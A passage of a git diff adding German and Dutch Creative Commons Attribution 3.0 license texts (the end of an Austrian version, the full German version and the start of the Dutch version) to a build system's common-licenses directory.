+ c. Sollte eine Bestimmung dieser Lizenz unwirksam sein, so bleibt davon die Wirksamkeit der Lizenz im Übrigen unberührt.
+
+ d. Keine Bestimmung dieser Lizenz soll als abbedungen und kein Verstoß gegen sie als zulässig gelten, solange die von dem Verzicht oder von dem Verstoß betroffene Seite nicht schriftlich zugestimmt hat.
+
+ e. Diese Lizenz (zusammen mit in ihr ausdrücklich vorgesehenen Erlaubnissen, Mitteilungen und Zustimmungen, soweit diese tatsächlich vorliegen) stellt die vollständige Vereinbarung zwischen dem Lizenzgeber und Ihnen in Bezug auf den Schutzgegenstand dar. Es bestehen keine Abreden, Vereinbarungen oder Erklärungen in Bezug auf den Schutzgegenstand, die in dieser Lizenz nicht genannt sind. Rechtsgeschäftliche Änderungen des Verhältnisses zwischen dem Lizenzgeber und Ihnen sind nur über Modifikationen dieser Lizenz möglich. Der Lizenzgeber ist an etwaige zusätzliche, einseitig durch Sie übermittelte Bestimmungen nicht gebunden. Diese Lizenz kann nur durch schriftliche Vereinbarung zwischen Ihnen und dem Lizenzgeber modifiziert werden. Derlei Modifikationen wirken ausschließlich zwischen dem Lizenzgeber und Ihnen und wirken sich nicht auf die Dritten gemäß 8.a) und b) angebotenen Lizenzen aus.
+
+ f. Sofern zwischen Ihnen und dem Lizenzgeber keine anderweitige Vereinbarung getroffen wurde und soweit Wahlfreiheit besteht, findet auf diesen Lizenzvertrag das Recht der Republik Österreich Anwendung.
+
+Creative Commons Notice
+
+Creative Commons ist nicht Partei dieser Lizenz und übernimmt keinerlei Gewähr oder dergleichen in Bezug auf den Schutzgegenstand. Creative Commons haftet Ihnen oder einer anderen Partei unter keinem rechtlichen Gesichtspunkt für irgendwelche Schäden, die - abstrakt oder konkret, zufällig oder vorhersehbar - im Zusammenhang mit dieser Lizenz entstehen. Unbeschadet der vorangegangen beiden Sätze, hat Creative Commons alle Rechte und Pflichten eines Lizenzgebers, wenn es sich ausdrücklich als Lizenzgeber im Sinne dieser Lizenz bezeichnet.
+
+Creative Commons gewährt den Parteien nur insoweit das Recht, das Logo und die Marke "Creative Commons" zu nutzen, als dies notwendig ist, um der Öffentlichkeit gegenüber kenntlich zu machen, dass der Schutzgegenstand unter einer CCPL steht. Ein darüber hinaus gehender Gebrauch der Marke "Creative Commons" oder einer verwandten Marke oder eines verwandten Logos bedarf der vorherigen schriftlichen Zustimmung von Creative Commons. Jeder erlaubte Gebrauch richtet sich nach der Creative Commons Marken-Nutzungs-Richtlinie in der jeweils aktuellen Fassung, die von Zeit zu Zeit auf der Website veröffentlicht oder auf andere Weise auf Anfrage zugänglich gemacht wird. Zur Klarstellung: Die genannten Einschränkungen der Markennutzung sind nicht Bestandteil dieser Lizenz.
+
+Creative Commons kann kontaktiert werden über https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-3.0-DE b/meta/files/common-licenses/CC-BY-3.0-DE
new file mode 100644
index 0000000000..2e7d215485
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-3.0-DE
@@ -0,0 +1,109 @@
+Creative Commons Namensnennung 3.0 Deutschland
+
+ CREATIVE COMMONS IST KEINE RECHTSANWALTSKANZLEI UND LEISTET KEINE RECHTSBERATUNG. DIE BEREITSTELLUNG DIESER LIZENZ FÜHRT ZU KEINEM MANDATSVERHÄLTNIS. CREATIVE COMMONS STELLT DIESE INFORMATIONEN OHNE GEWÄHR ZUR VERFÜGUNG. CREATIVE COMMONS ÜBERNIMMT KEINE GEWÄHRLEISTUNG FÜR DIE GELIEFERTEN INFORMATIONEN UND SCHLIEßT DIE HAFTUNG FÜR SCHÄDEN AUS, DIE SICH AUS DEREN GEBRAUCH ERGEBEN.
+
+Lizenz
+
+DER GEGENSTAND DIESER LIZENZ (WIE UNTER "SCHUTZGEGENSTAND" DEFINIERT) WIRD UNTER DEN BEDINGUNGEN DIESER CREATIVE COMMONS PUBLIC LICENSE ("CCPL", "LIZENZ" ODER "LIZENZVERTRAG") ZUR VERFÜGUNG GESTELLT. DER SCHUTZGEGENSTAND IST DURCH DAS URHEBERRECHT UND/ODER ANDERE GESETZE GESCHÜTZT. JEDE FORM DER NUTZUNG DES SCHUTZGEGENSTANDES, DIE NICHT AUFGRUND DIESER LIZENZ ODER DURCH GESETZE GESTATTET IST, IST UNZULÄSSIG.
+
+DURCH DIE AUSÜBUNG EINES DURCH DIESE LIZENZ GEWÄHRTEN RECHTS AN DEM SCHUTZGEGENSTAND ERKLÄREN SIE SICH MIT DEN LIZENZBEDINGUNGEN RECHTSVERBINDLICH EINVERSTANDEN. SOWEIT DIESE LIZENZ ALS LIZENZVERTRAG ANZUSEHEN IST, GEWÄHRT IHNEN DER LIZENZGEBER DIE IN DER LIZENZ GENANNTEN RECHTE UNENTGELTLICH UND IM AUSTAUSCH DAFÜR, DASS SIE DAS GEBUNDENSEIN AN DIE LIZENZBEDINGUNGEN AKZEPTIEREN.
+
+1. Definitionen
+
+ a. Der Begriff "Abwandlung" im Sinne dieser Lizenz bezeichnet das Ergebnis jeglicher Art von Veränderung des Schutzgegenstandes, solange die eigenpersönlichen Züge des Schutzgegenstandes darin nicht verblassen und daran eigene Schutzrechte entstehen. Das kann insbesondere eine Bearbeitung, Umgestaltung, Änderung, Anpassung, Übersetzung oder Heranziehung des Schutzgegenstandes zur Vertonung von Laufbildern sein. Nicht als Abwandlung des Schutzgegenstandes gelten seine Aufnahme in eine Sammlung oder ein Sammelwerk und die freie Benutzung des Schutzgegenstandes.
+
+ b. Der Begriff "Sammelwerk" im Sinne dieser Lizenz meint eine Zusammenstellung von literarischen, künstlerischen oder wissenschaftlichen Inhalten, sofern diese Zusammenstellung aufgrund von Auswahl und Anordnung der darin enthaltenen selbständigen Elemente eine geistige Schöpfung darstellt, unabhängig davon, ob die Elemente systematisch oder methodisch angelegt und dadurch einzeln zugänglich sind oder nicht.
+
+ c. "Verbreiten" im Sinne dieser Lizenz bedeutet, den Schutzgegenstand oder Abwandlungen im Original oder in Form von Vervielfältigungsstücken, mithin in körperlich fixierter Form der Öffentlichkeit anzubieten oder in Verkehr zu bringen.
+
+ d. Der "Lizenzgeber" im Sinne dieser Lizenz ist diejenige natürliche oder juristische Person oder Gruppe, die den Schutzgegenstand unter den Bedingungen dieser Lizenz anbietet und insoweit als Rechteinhaberin auftritt.
+
+ e. "Rechteinhaber" im Sinne dieser Lizenz ist der Urheber des Schutzgegenstandes oder jede andere natürliche oder juristische Person oder Gruppe von Personen, die am Schutzgegenstand ein Immaterialgüterrecht erlangt hat, welches die in Abschnitt 3 genannten Handlungen erfasst und bei dem eine Einräumung von Nutzungsrechten oder eine Weiterübertragung an Dritte möglich ist.
+
+ f. Der Begriff "Schutzgegenstand" bezeichnet in dieser Lizenz den literarischen, künstlerischen oder wissenschaftlichen Inhalt, der unter den Bedingungen dieser Lizenz angeboten wird. Das kann insbesondere eine persönliche geistige Schöpfung jeglicher Art, ein Werk der kleinen Münze, ein nachgelassenes Werk oder auch ein Lichtbild oder anderes Objekt eines verwandten Schutzrechts sein, unabhängig von der Art seiner Fixierung und unabhängig davon, auf welche Weise jeweils eine Wahrnehmung erfolgen kann, gleichviel ob in analoger oder digitaler Form. Soweit Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen, unterfallen auch sie dem Begriff "Schutzgegenstand" im Sinne dieser Lizenz.
+
+ g. Mit "Sie" bzw. "Ihnen" ist die natürliche oder juristische Person gemeint, die in dieser Lizenz im Abschnitt 3 genannte Nutzungen des Schutzgegenstandes vornimmt und zuvor in Hinblick auf den Schutzgegenstand nicht gegen Bedingungen dieser Lizenz verstoßen oder aber die ausdrückliche Erlaubnis des Lizenzgebers erhalten hat, die durch diese Lizenz gewährten Nutzungsrechte trotz eines vorherigen Verstoßes auszuüben.
+
+ h. Unter "Öffentlich Zeigen" im Sinne dieser Lizenz sind Veröffentlichungen und Präsentationen des Schutzgegenstandes zu verstehen, die für eine Mehrzahl von Mitgliedern der Öffentlichkeit bestimmt sind und in unkörperlicher Form mittels öffentlicher Wiedergabe in Form von Vortrag, Aufführung, Vorführung, Darbietung, Sendung, Weitersendung, zeit- und ortsunabhängiger Zugänglichmachung oder in körperlicher Form mittels Ausstellung erfolgen, unabhängig von bestimmten Veranstaltungen und unabhängig von den zum Einsatz kommenden Techniken und Verfahren, einschließlich drahtgebundener oder drahtloser Mittel und Einstellen in das Internet.
+
+ i. "Vervielfältigen" im Sinne dieser Lizenz bedeutet, mittels beliebiger Verfahren Vervielfältigungsstücke des Schutzgegenstandes herzustellen, insbesondere durch Ton- oder Bildaufzeichnungen, und umfasst auch den Vorgang, erstmals körperliche Fixierungen des Schutzgegenstandes sowie Vervielfältigungsstücke dieser Fixierungen anzufertigen, sowie die Übertragung des Schutzgegenstandes auf einen Bild- oder Tonträger oder auf ein anderes elektronisches Medium, gleichviel ob in digitaler oder analoger Form.
+
+2. Schranken des Immaterialgüterrechts. Diese Lizenz ist in keiner Weise darauf gerichtet, Befugnisse zur Nutzung des Schutzgegenstandes zu vermindern, zu beschränken oder zu vereiteln, die Ihnen aufgrund der Schranken des Urheberrechts oder anderer Rechtsnormen bereits ohne Weiteres zustehen oder sich aus dem Fehlen eines immaterialgüterrechtlichen Schutzes ergeben.
+
+3. Einräumung von Nutzungsrechten. Unter den Bedingungen dieser Lizenz räumt Ihnen der Lizenzgeber - unbeschadet unverzichtbarer Rechte und vorbehaltlich des Abschnitts 3.e) - das vergütungsfreie, räumlich und zeitlich (für die Dauer des Schutzrechts am Schutzgegenstand) unbeschränkte einfache Recht ein, den Schutzgegenstand auf die folgenden Arten und Weisen zu nutzen ("unentgeltlich eingeräumtes einfaches Nutzungsrecht für jedermann"):
+
+ a. den Schutzgegenstand in beliebiger Form und Menge zu vervielfältigen, ihn in Sammelwerke zu integrieren und ihn als Teil solcher Sammelwerke zu vervielfältigen;
+
+ b. Abwandlungen des Schutzgegenstandes anzufertigen, einschließlich Übersetzungen unter Nutzung jedweder Medien, sofern deutlich erkennbar gemacht wird, dass es sich um Abwandlungen handelt;
+
+ c. den Schutzgegenstand, allein oder in Sammelwerke aufgenommen, öffentlich zu zeigen und zu verbreiten;
+
+ d. Abwandlungen des Schutzgegenstandes zu veröffentlichen, öffentlich zu zeigen und zu verbreiten.
+
+ e. Bezüglich Vergütung für die Nutzung des Schutzgegenstandes gilt Folgendes:
+
+ i. Unverzichtbare gesetzliche Vergütungsansprüche: Soweit unverzichtbare Vergütungsansprüche im Gegenzug für gesetzliche Lizenzen vorgesehen oder Pauschalabgabensysteme (zum Beispiel für Leermedien) vorhanden sind, behält sich der Lizenzgeber das ausschließliche Recht vor, die entsprechende Vergütung einzuziehen für jede Ausübung eines Rechts aus dieser Lizenz durch Sie.
+
+ ii. Vergütung bei Zwangslizenzen: Sofern Zwangslizenzen außerhalb dieser Lizenz vorgesehen sind und zustande kommen, verzichtet der Lizenzgeber für alle Fälle einer lizenzgerechten Nutzung des Schutzgegenstandes durch Sie auf jegliche Vergütung.
+
+ iii. Vergütung in sonstigen Fällen: Bezüglich lizenzgerechter Nutzung des Schutzgegenstandes durch Sie, die nicht unter die beiden vorherigen Abschnitte (i) und (ii) fällt, verzichtet der Lizenzgeber auf jegliche Vergütung, unabhängig davon, ob eine Einziehung der Vergütung durch ihn selbst oder nur durch eine Verwertungsgesellschaft möglich wäre.
+
+Das vorgenannte Nutzungsrecht wird für alle bekannten sowie für alle noch nicht bekannten Nutzungsarten eingeräumt. Es beinhaltet auch das Recht, solche Änderungen am Schutzgegenstand vorzunehmen, die für bestimmte nach dieser Lizenz zulässige Nutzungen technisch erforderlich sind. Alle sonstigen Rechte, die über diesen Abschnitt hinaus nicht ausdrücklich durch den Lizenzgeber eingeräumt werden, bleiben diesem allein vorbehalten. Soweit Datenbanken oder Zusammenstellungen von Daten Schutzgegenstand dieser Lizenz oder Teil dessen sind und einen immaterialgüterrechtlichen Schutz eigener Art genießen, verzichtet der Lizenzgeber auf sämtliche aus diesem Schutz resultierenden Rechte.
+
+4. Bedingungen. Die Einräumung des Nutzungsrechts gemäß Abschnitt 3 dieser Lizenz erfolgt ausdrücklich nur unter den folgenden Bedingungen:
+
+ a. Sie dürfen den Schutzgegenstand ausschließlich unter den Bedingungen dieser Lizenz verbreiten oder öffentlich zeigen. Sie müssen dabei stets eine Kopie dieser Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen dieser Lizenz oder die durch diese Lizenz gewährten Rechte beschränken. Sie dürfen den Schutzgegenstand nicht unterlizenzieren. Bei jeder Kopie des Schutzgegenstandes, die Sie verbreiten oder öffentlich zeigen, müssen Sie alle Hinweise unverändert lassen, die auf diese Lizenz und den Haftungsausschluss hinweisen. Wenn Sie den Schutzgegenstand verbreiten oder öffentlich zeigen, dürfen Sie (in Bezug auf den Schutzgegenstand) keine technischen Maßnahmen ergreifen, die den Nutzer des Schutzgegenstandes in der Ausübung der ihm durch diese Lizenz gewährten Rechte behindern können. Dieser Abschnitt 4.a) gilt auch für den Fall, dass der Schutzgegenstand einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt dieser Lizenz unterstellt werden muss. Sofern Sie ein Sammelwerk erstellen, müssen Sie auf die Mitteilung eines Lizenzgebers hin aus dem Sammelwerk die in Abschnitt 4.b) aufgezählten Hinweise entfernen. Wenn Sie eine Abwandlung vornehmen, müssen Sie auf die Mitteilung eines Lizenzgebers hin von der Abwandlung die in Abschnitt 4.b) aufgezählten Hinweise entfernen.
+
+ b. Die Verbreitung und das öffentliche Zeigen des Schutzgegenstandes oder auf ihm aufbauender Abwandlungen oder ihn enthaltender Sammelwerke ist Ihnen nur unter der Bedingung gestattet, dass Sie, vorbehaltlich etwaiger Mitteilungen im Sinne von Abschnitt 4.a), alle dazu gehörenden Rechtevermerke unberührt lassen. Sie sind verpflichtet, die Rechteinhaberschaft in einer der Nutzung entsprechenden, angemessenen Form anzuerkennen, indem Sie - soweit bekannt - Folgendes angeben:
+
+ i. Den Namen (oder das Pseudonym, falls ein solches verwendet wird) des Rechteinhabers und / oder, falls der Lizenzgeber im Rechtevermerk, in den Nutzungsbedingungen oder auf andere angemessene Weise eine Zuschreibung an Dritte vorgenommen hat (z.B. an eine Stiftung, ein Verlagshaus oder eine Zeitung) ("Zuschreibungsempfänger"), Namen bzw. Bezeichnung dieses oder dieser Dritten;
+
+ ii. den Titel des Inhaltes;
+
+ iii. in einer praktikablen Form den Uniform-Resource-Identifier (URI, z.B. Internetadresse), den der Lizenzgeber zum Schutzgegenstand angegeben hat, es sei denn, dieser URI verweist nicht auf den Rechtevermerk oder die Lizenzinformationen zum Schutzgegenstand;
+
+ iv. und im Falle einer Abwandlung des Schutzgegenstandes in Übereinstimmung mit Abschnitt 3.b) einen Hinweis darauf, dass es sich um eine Abwandlung handelt.
+
+ Die nach diesem Abschnitt 4.b) erforderlichen Angaben können in jeder angemessenen Form gemacht werden; im Falle einer Abwandlung des Schutzgegenstandes oder eines Sammelwerkes müssen diese Angaben das Minimum darstellen und bei gemeinsamer Nennung mehrerer Rechteinhaber dergestalt erfolgen, dass sie zumindest ebenso hervorgehoben sind wie die Hinweise auf die übrigen Rechteinhaber. Die Angaben nach diesem Abschnitt dürfen Sie ausschließlich zur Angabe der Rechteinhaberschaft in der oben bezeichneten Weise verwenden. Durch die Ausübung Ihrer Rechte aus dieser Lizenz dürfen Sie ohne eine vorherige, separat und schriftlich vorliegende Zustimmung des Lizenzgebers und / oder des Zuschreibungsempfängers weder explizit noch implizit irgendeine Verbindung zum Lizenzgeber oder Zuschreibungsempfänger und ebenso wenig eine Unterstützung oder Billigung durch ihn andeuten.
+
+ c. Die oben unter 4.a) und b) genannten Einschränkungen gelten nicht für solche Teile des Schutzgegenstandes, die allein deshalb unter den Schutzgegenstandsbegriff fallen, weil sie als Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen.
+
+ d. Persönlichkeitsrechte bleiben - soweit sie bestehen - von dieser Lizenz unberührt.
+
+5. Gewährleistung
+
+SOFERN KEINE ANDERS LAUTENDE, SCHRIFTLICHE VEREINBARUNG ZWISCHEN DEM LIZENZGEBER UND IHNEN GESCHLOSSEN WURDE UND SOWEIT MÄNGEL NICHT ARGLISTIG VERSCHWIEGEN WURDEN, BIETET DER LIZENZGEBER DEN SCHUTZGEGENSTAND UND DIE EINRÄUMUNG VON RECHTEN UNTER AUSSCHLUSS JEGLICHER GEWÄHRLEISTUNG AN UND ÜBERNIMMT WEDER AUSDRÜCKLICH NOCH KONKLUDENT GARANTIEN IRGENDEINER ART. DIES UMFASST INSBESONDERE DAS FREISEIN VON SACH- UND RECHTSMÄNGELN, UNABHÄNGIG VON DEREN ERKENNBARKEIT FÜR DEN LIZENZGEBER, DIE VERKEHRSFÄHIGKEIT DES SCHUTZGEGENSTANDES, SEINE VERWENDBARKEIT FÜR EINEN BESTIMMTEN ZWECK SOWIE DIE KORREKTHEIT VON BESCHREIBUNGEN. DIESE GEWÄHRLEISTUNGSBESCHRÄNKUNG GILT NICHT, SOWEIT MÄNGEL ZU SCHÄDEN DER IN ABSCHNITT 6 BEZEICHNETEN ART FÜHREN UND AUF SEITEN DES LIZENZGEBERS DAS JEWEILS GENANNTE VERSCHULDEN BZW. VERTRETENMÜSSEN EBENFALLS VORLIEGT.
+
+6. Haftungsbeschränkung
+
+DER LIZENZGEBER HAFTET IHNEN GEGENÜBER IN BEZUG AUF SCHÄDEN AUS DER VERLETZUNG DES LEBENS, DES KÖRPERS ODER DER GESUNDHEIT NUR, SOFERN IHM WENIGSTENS FAHRLÄSSIGKEIT VORZUWERFEN IST, FÜR SONSTIGE SCHÄDEN NUR BEI GROBER FAHRLÄSSIGKEIT ODER VORSATZ, UND ÜBERNIMMT DARÜBER HINAUS KEINERLEI FREIWILLIGE HAFTUNG.
+
+7. Erlöschen
+
+ a. Diese Lizenz und die durch sie eingeräumten Nutzungsrechte erlöschen mit Wirkung für die Zukunft im Falle eines Verstoßes gegen die Lizenzbedingungen durch Sie, ohne dass es dazu der Kenntnis des Lizenzgebers vom Verstoß oder einer weiteren Handlung einer der Vertragsparteien bedarf. Mit natürlichen oder juristischen Personen, die Abwandlungen des Schutzgegenstandes oder diesen enthaltende Sammelwerke unter den Bedingungen dieser Lizenz von Ihnen erhalten haben, bestehen nachträglich entstandene Lizenzbeziehungen jedoch solange weiter, wie die genannten Personen sich ihrerseits an sämtliche Lizenzbedingungen halten. Darüber hinaus gelten die Ziffern 1, 2, 5, 6, 7, und 8 auch nach einem Erlöschen dieser Lizenz fort.
+
+ b. Vorbehaltlich der oben genannten Bedingungen gilt diese Lizenz unbefristet bis der rechtliche Schutz für den Schutzgegenstand ausläuft. Davon abgesehen behält der Lizenzgeber das Recht, den Schutzgegenstand unter anderen Lizenzbedingungen anzubieten oder die eigene Weitergabe des Schutzgegenstandes jederzeit einzustellen, solange die Ausübung dieses Rechts nicht einer Kündigung oder einem Widerruf dieser Lizenz (oder irgendeiner Weiterlizenzierung, die auf Grundlage dieser Lizenz bereits erfolgt ist bzw. zukünftig noch erfolgen muss) dient und diese Lizenz unter Berücksichtigung der oben zum Erlöschen genannten Bedingungen vollumfänglich wirksam bleibt.
+
+8. Sonstige Bestimmungen
+
+ a. Jedes Mal, wenn Sie den Schutzgegenstand für sich genommen oder als Teil eines Sammelwerkes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ b. Jedes Mal, wenn Sie eine Abwandlung des Schutzgegenstandes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz am ursprünglichen Schutzgegenstand zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ c. Sollte eine Bestimmung dieser Lizenz unwirksam sein, so bleibt davon die Wirksamkeit der Lizenz im Übrigen davon unberührt.
+
+ d. Keine Bestimmung dieser Lizenz soll als abbedungen und kein Verstoß gegen sie als zulässig gelten, solange die von dem Verzicht oder von dem Verstoß betroffene Seite nicht schriftlich zugestimmt hat.
+
+ e. Diese Lizenz (zusammen mit in ihr ausdrücklich vorgesehenen Erlaubnissen, Mitteilungen und Zustimmungen, soweit diese tatsächlich vorliegen) stellt die vollständige Vereinbarung zwischen dem Lizenzgeber und Ihnen in Bezug auf den Schutzgegenstand dar. Es bestehen keine Abreden, Vereinbarungen oder Erklärungen in Bezug auf den Schutzgegenstand, die in dieser Lizenz nicht genannt sind. Rechtsgeschäftliche Änderungen des Verhältnisses zwischen dem Lizenzgeber und Ihnen sind nur über Modifikationen dieser Lizenz möglich. Der Lizenzgeber ist an etwaige zusätzliche, einseitig durch Sie übermittelte Bestimmungen nicht gebunden. Diese Lizenz kann nur durch schriftliche Vereinbarung zwischen Ihnen und dem Lizenzgeber modifiziert werden. Derlei Modifikationen wirken ausschließlich zwischen dem Lizenzgeber und Ihnen und wirken sich nicht auf die Dritten gemäß Ziffern 8.a) und b) angebotenen Lizenzen aus.
+
+ f. Sofern zwischen Ihnen und dem Lizenzgeber keine anderweitige Vereinbarung getroffen wurde und soweit Wahlfreiheit besteht, findet auf diesen Lizenzvertrag das Recht der Bundesrepublik Deutschland Anwendung.
+
+
+Creative Commons Notice
+
+Creative Commons ist nicht Partei dieser Lizenz und übernimmt keinerlei Gewähr oder dergleichen in Bezug auf den Schutzgegenstand. Creative Commons haftet Ihnen oder einer anderen Partei unter keinem rechtlichen Gesichtspunkt für irgendwelche Schäden, die - abstrakt oder konkret, zufällig oder vorhersehbar - im Zusammenhang mit dieser Lizenz entstehen. Unbeschadet der vorangegangen beiden Sätze, hat Creative Commons alle Rechte und Pflichten eines Lizenzgebers, wenn es sich ausdrücklich als Lizenzgeber im Sinne dieser Lizenz bezeichnet.
+
+Creative Commons gewährt den Parteien nur insoweit das Recht, das Logo und die Marke "Creative Commons" zu nutzen, als dies notwendig ist, um der Öffentlichkeit gegenüber kenntlich zu machen, dass der Schutzgegenstand unter einer CCPL steht. Ein darüber hinaus gehender Gebrauch der Marke "Creative Commons" oder einer verwandten Marke oder eines verwandten Logos bedarf der vorherigen schriftlichen Zustimmung von Creative Commons. Jeder erlaubte Gebrauch richtet sich nach der Creative Commons Marken-Nutzungs-Richtlinie in der jeweils aktuellen Fassung, die von Zeit zu Zeit auf der Website veröffentlicht oder auf andere Weise auf Anfrage zugänglich gemacht wird. Zur Klarstellung: Die genannten Einschränkungen der Markennutzung sind nicht Bestandteil dieser Lizenz.
+
+Creative Commons kann kontaktiert werden über https://creativecommons.org/.
+
diff --git a/meta/files/common-licenses/CC-BY-3.0-NL b/meta/files/common-licenses/CC-BY-3.0-NL
new file mode 100644
index 0000000000..5789b8592d
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-3.0-NL
@@ -0,0 +1,97 @@
+Creative Commons Naamsvermelding 3.0
+
+ CREATIVE COMMONS CORPORATION IS GEEN ADVOCATENPRAKTIJK EN VERLEENT GEEN JURIDISCHE DIENSTEN. DE VERSPREIDING VAN DEZE LICENTIE ROEPT GEEN JURIDISCHE RELATIE MET CREATIVE COMMONS IN HET LEVEN. CREATIVE COMMONS VERSPREIDT DEZE INFORMATIE 'AS-IS'. CREATIVE COMMONS STAAT NIET IN VOOR DE INHOUD VAN DE VERSTREKTE INFORMATIE EN SLUIT ALLE AANSPRAKELIJKHEID UIT VOOR ENIGERLEI SCHADE VOORTVLOEIEND UIT HET GEBRUIK VAN DEZE INFORMATIE INDIEN EN VOORZOVER DE WET NIET ANDERS BEPAALT.
+
+Licentie
+
+HET WERK (ALS HIERONDER OMSCHREVEN) WORDT TER BESCHIKKING GESTELD OVEREENKOMSTIG DE VOORWAARDEN VAN DEZE CREATIVE COMMONS PUBLIEKE LICENTIE ('CCPL' OF 'LICENTIE'). HET WERK WORDT BESCHERMD OP GROND VAN HET AUTEURSRECHT, NABURIGE RECHTEN, HET DATABANKENRECHT EN/OF ENIGE ANDERE TOEPASSELIJKE RECHTEN. MET UITZONDERING VAN HET IN DEZE LICENTIE OMSCHREVEN TOEGESTANE GEBRUIK VAN HET WERK IS ENIG ANDER GEBRUIK VAN HET WERK NIET TOEGESTAAN.
+
+DOOR HET UITOEFENEN VAN DE IN DEZE LICENTIE VERLEENDE RECHTEN MET BETREKKING TOT HET WERK AANVAARDT EN GAAT DE GEBRUIKER AKKOORD MET DE VOORWAARDEN VAN DEZE LICENTIE, MET DIEN VERSTANDE DAT (DE INHOUD VAN) DEZE LICENTIE OP VOORHAND VOLDOENDE DUIDELIJK KENBAAR DIENT TE ZIJN VOOR DE ONTVANGER VAN HET WERK.
+
+DE LICENTIEGEVER VERLEENT DE GEBRUIKER DE IN DEZE LICENTIE OMSCHREVEN RECHTEN MET INACHTNEMING VAN DE DESBETREFFENDE VOORWAARDEN.
+
+1. Definities
+
+ a. 'Verzamelwerk' een werk waarin het Werk, in zijn geheel en in ongewijzigde vorm, samen met een of meer andere werken, die elk een afzonderlijk en zelfstandig werk vormen, tot een geheel is samengevoegd. Voorbeelden van een verzamelwerk zijn een tijdschrift, een bloemlezing of een encyclopedie. Een Verzamelwerk zal voor de toepassing van deze Licentie niet als een Afgeleid werk (als hieronder omschreven) worden beschouwd.
+
+ b. 'Afgeleid werk' een werk dat is gebaseerd op het Werk of op het Werk en andere reeds bestaande werken. Voorbeelden van een Afgeleid werk zijn een vertaling, een muziekschikking (arrangement), een toneelbewerking, een literaire bewerking, een verfilming, een geluidsopname, een kunstreproductie, een verkorte versie, een samenvatting of enig andere bewerking van het Werk, met dien verstande dat een Verzamelwerk voor de toepassing van deze Licentie niet als een Afgeleid werk zal worden beschouwd.
+
+ Indien het Werk een muziekwerk betreft, zal de synchronisatie van de tijdslijnen van het Werk en een bewegend beeld ('synching') voor de toepassing van deze Licentie als een Afgeleid Werk worden beschouwd.
+
+ c. 'Licentiegever' de natuurlijke persoon/personen of rechtspersoon/rechtspersonen die het Werk volgens de voorwaarden van deze Licentie aanbiedt/aanbieden.
+
+ d. 'Maker' de natuurlijke persoon/personen of rechtspersoon/personen die het oorspronkelijke werk gemaakt heeft/hebben. Voor de toepassing van deze Licentie wordt onder de Maker mede verstaan de uitvoerende kunstenaar, film- en fonogramproducent en omroeporganisaties in de zin van de Wet op de naburige rechten en de producent van een databank in de zin van de Databankenwet.
+
+ e. 'Werk' het auteursrechtelijk beschermde werk dat volgens de voorwaarden van deze Licentie wordt aangeboden. Voor de toepassing van deze Licentie wordt onder het Werk mede verstaan het fonogram, de eerste vastlegging van een film en het (omroep)programma in de zin van de Wet op de naburige rechten en de databank in de zin van de Databankenwet, voor zover dit fonogram, deze eerste vastlegging van een film, dit (omroep)programma en deze databank beschermd wordt krachtens de toepasselijke wet in de jurisdictie van de Gebruiker.
+
+ f. 'Gebruiker' de natuurlijke persoon of rechtspersoon die rechten ingevolge deze Licentie uitoefent en die de voorwaarden van deze Licentie met betrekking tot het Werk niet eerder geschonden heeft, of die van de Licentiegever uitdrukkelijke toestemming gekregen heeft om rechten ingevolge deze Licentie uit te oefenen ondanks een eerdere schending.
+
+2. Beperkingen van de uitsluitende rechten. Niets in deze Licentie strekt ertoe om de rechten te beperken die voortvloeien uit de beperkingen en uitputting van de uitsluitende rechten van de rechthebbende krachtens het auteursrecht, de naburige rechten, het databankenrecht of enige andere toepasselijke rechten.
+
+3. Licentieverlening. Met inachtneming van de voorwaarden van deze Licentie verleent de Licentiegever hierbij aan de Gebruiker een wereldwijde, niet-exclusieve licentie om de navolgende rechten met betrekking tot het Werk vrij van royalty's uit te oefenen voor de duur van de toepasselijke intellectuele eigendomsrechten:
+
+ a. het reproduceren van het Werk, het opnemen van het Werk in een of meerdere Verzamelwerken, en het reproduceren van het in de Verzamelwerken opgenomen Werk;
+
+ b. het maken en reproduceren van Afgeleide werken met dien verstande dat met betrekking tot het Afgeleide werk, met inbegrip van welke vertaling in welk medium dan ook, duidelijk wordt gemaakt dat er wijzigingen in het oorspronkelijke Werk zijn aangebracht. Bijvoorbeeld, aan een vertaling kan worden toegevoegd dat 'het oorspronkelijke Werk is van het Engels in het Spaans vertaald', of in geval van een verandering kan worden aangegeven dat 'het oorspronkelijke werk is veranderd';
+
+ c. het verspreiden van exemplaren van het Werk, het in het openbaar tonen, op- en uitvoeren en het on-line beschikbaar stellen van het Werk, afzonderlijk en als deel van een Verzamelwerk;
+
+ d. het verspreiden van exemplaren van Afgeleide werken, het in het openbaar te tonen, op- en uitvoeren en het on-line beschikbaar stellen van Afgeleide werken;
+
+ e. het opvragen en hergebruiken van het Werk;
+
+ f. Volledigheidshalve dient te worden vermeld dat:
+
+ i. Niet voor afstand vatbare heffingsregelingen. in het geval van niet voor afstand vatbare heffingsregelingen (bijvoorbeeld met betrekking tot thuiskopieën) de Licentiegever zich het recht voorbehoudt om dergelijke heffingen te innen (al dan niet door middel van een auteursrechtenorganisatie) bij zowel commercieel als niet-commercieel gebruik van het Werk;
+
+ ii. Voor afstand vatbare heffingsregeling. in het geval van voor afstand vatbare heffingsregelingen (bijvoorbeeld met betrekking tot leenrechten) de Licentiegever afstand doet van het recht om dergelijke heffingen te innen bij zowel commercieel als niet-commercieel gebruik van het Werk;
+
+ iii. Collectief rechtenbeheer. de Licentiegever afstand doet van het recht om vergoedingen te innen (zelfstandig of, indien de Licentiegever lid is van een auteursrechtenorganisatie, door middel van die organisatie) bij zowel commercieel als niet-commercieel gebruik van het Werk.
+
